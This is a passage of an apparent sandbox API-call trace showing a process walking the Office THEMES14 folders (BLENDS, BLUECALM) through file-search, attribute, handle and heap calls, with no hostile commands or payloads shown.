ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0241.053] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.053] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.053] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.053] GetLastError () returned 0x12 [0241.053] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.053] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.053] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.053] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.053] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0241.053] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.053] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0241.074] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9136c8 [0241.074] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9136c8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9136c8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.074] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9136c8) returned 1 [0241.074] NtClose (Handle=0x1bc) returned 0x0 [0241.074] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.074] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911b00 [0241.074] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.074] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.074] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0241.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.074] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.074] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911c08 [0241.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e408 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911d10 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x640) returned 0x9136c8 [0241.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9110c0) returned 1 [0241.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.075] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e428 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911e18 [0241.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.075] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e448 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911f20 [0241.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.075] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.076] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.076] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.076] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e468 [0241.076] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912028 [0241.076] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.076] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.076] GetLastError () returned 0x12 [0241.076] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.076] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.076] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.076] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0241.076] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0241.076] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.076] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.076] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.076] GetLastError () returned 0x12 [0241.076] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911b00) returned 1 [0241.076] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.076] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911c08) returned 1 [0241.076] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.076] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0241.076] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.077] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0241.077] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x913d10 [0241.077] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x913d10, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x913d10, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.077] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x913d10) returned 1 [0241.077] NtClose (Handle=0x1b0) returned 0x0 [0241.077] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.077] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911c08 [0241.077] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.078] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.078] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911b00 [0241.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e488 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912130 [0241.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.078] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e4a8 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912238 [0241.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.078] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e4c8 [0241.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912340 [0241.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.079] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e4e8 [0241.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912448 [0241.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.079] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 